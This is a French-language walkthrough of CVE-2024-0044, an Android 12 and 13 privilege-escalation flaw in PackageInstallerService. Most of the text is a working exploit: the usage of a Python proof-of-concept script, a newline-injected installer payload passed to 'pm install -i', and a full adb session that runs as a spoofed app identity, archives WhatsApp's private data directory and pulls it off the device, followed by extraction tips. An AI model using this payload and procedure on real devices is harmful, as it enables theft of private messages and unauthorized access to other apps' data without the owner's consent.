
CVE-2024-0044 : une vulnérabilité de haute gravité de type "exécuter en tant que n'importe quelle application" qui affecte les versions 12 et 13 d'Android.
CVE-2024-0044, identifiée dans la fonction createSessionInternal du fichier PackageInstallerService.java, est une vulnérabilité de haute sévérité affectant les versions Android 12 et 13. Cette vulnérabilité permet à un attaquant de réaliser une attaque "run-as any app", conduisant à une escalade locale de privilèges sans nécessiter d'interaction de l'utilisateur.Le problème résulte d'une validation d'entrée incorrecte dans la fonction createSessionInternal. Un attaquant peut l'exploiter en manipulant le processus de création de session, pouvant ainsi obtenir un accès non autorisé à des données sensibles et effectuer des actions non autorisées sur l'appareil concerné
L'exploit a été découvert par Meta security
La preuve de concept a été résumée et partagée par Tiny hack
Les détails sur le correctif de sécurité se trouvent sur Android security bulletin
python3 cve_2024_0044.py -h
##########################################################################################
###############S%%#####################################################%%S################
###############%++*S##################################################?++?################
################%++*S###############################################S*++?#################
#################%+++%#############################################S*++%##################
##################S*++%###########################################%+++%###################
###################S*++?#########SSS%%?????***?????%%%SS#########%++*S####################
#####################?++*##S%%?**+++++++++++++++++++++++**??%S##?++*S#####################
######################?++**+++++++++++++++++++++++++++++++++++**++*#######################
###################S%?*++++++++++++++++++++++++++++++++++++++++++++?%S####################
#################%?+++++++++++++++++++++++++++++++++++++++++++++++++++*%S#################
##############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++?S###############
############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S#############
##########S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S###########
#########%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##########
#######S*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S########
######%++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*++++++++++++++%#######
#####%++++++++++++++*######%+++++++++++++++++++++++++++++++++%######?++++++++++++++?######
####?+++++++++++++++*######S+++++++++++++++++++++++++++++++++%######?+++++++++++++++?#####
###%+++++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*+++++++++++++++++?####
##S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%###
##*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S##
#%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##
#*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S#
S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%#
usage: cve_2024_0044.py [-h] -P P -A A
CVE-2024-0044: run-as any app @Pl4int3xt
options:
-h, --help show this help message and exit
-P P package name (default: None)
-A A apk file path (default: None)
-P est utilisé pour spécifier le nom du package cible sous lequel vous voulez exécuter
-A pour spécifier le fichier apk à pousser sur l'appareil
Lancez l'outil
python3 cve_2024_0044.py -P com.whatsapp -A /home/pl4int3xt/Downloads/F-Droid.apk
Un fichier payload.txt comme celui-ci sera généré
PAYLOAD="@null
victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success après la dernière commandepl4int3xt ~> adb shell
pixel:/ $ PAYLOAD="@null
> victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pixel:/ $ pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success
pixel:/ $ mkdir /data/local/tmp/wa/
pixel:/ $ touch /data/local/tmp/wa/wa.tar
pixel:/ $ chmod -R 0777 /data/local/tmp/wa/
pixel:/ $ run-as victim
pixel:/data/user/0 $ tar -cf /data/local/tmp/wa/wa.tar com.whatsapp
Créez un répertoire temporaire : mkdir /data/local/tmp/wa/
Créez un placeholder pour un fichier tar : touch /data/local/tmp/wa/wa.tar
Définissez des permissions larges : chmod -R 0777 /data/local/tmp/wa/ pour garantir que tout utilisateur peut lire, écrire et exécuter dans ce répertoire.
Changez de contexte utilisateur : run-as victim pour obtenir les mêmes permissions que l'utilisateur "victim".
Archivez les données de l'application cible : tar -cf /data/local/tmp/wa/wa.tar com.whatsapp, créant une archive tar du répertoire de données WhatsApp.
adb pull /data/local/tmp/wa/wa.tar
Vous pouvez extraire les données avec 7z ou tout autre outil
Vous pouvez utiliser Whatsapp chat exporter pour le convertir en HTML
Cela vous permet d'obtenir les données WhatsApp sans accès root sur votre appareil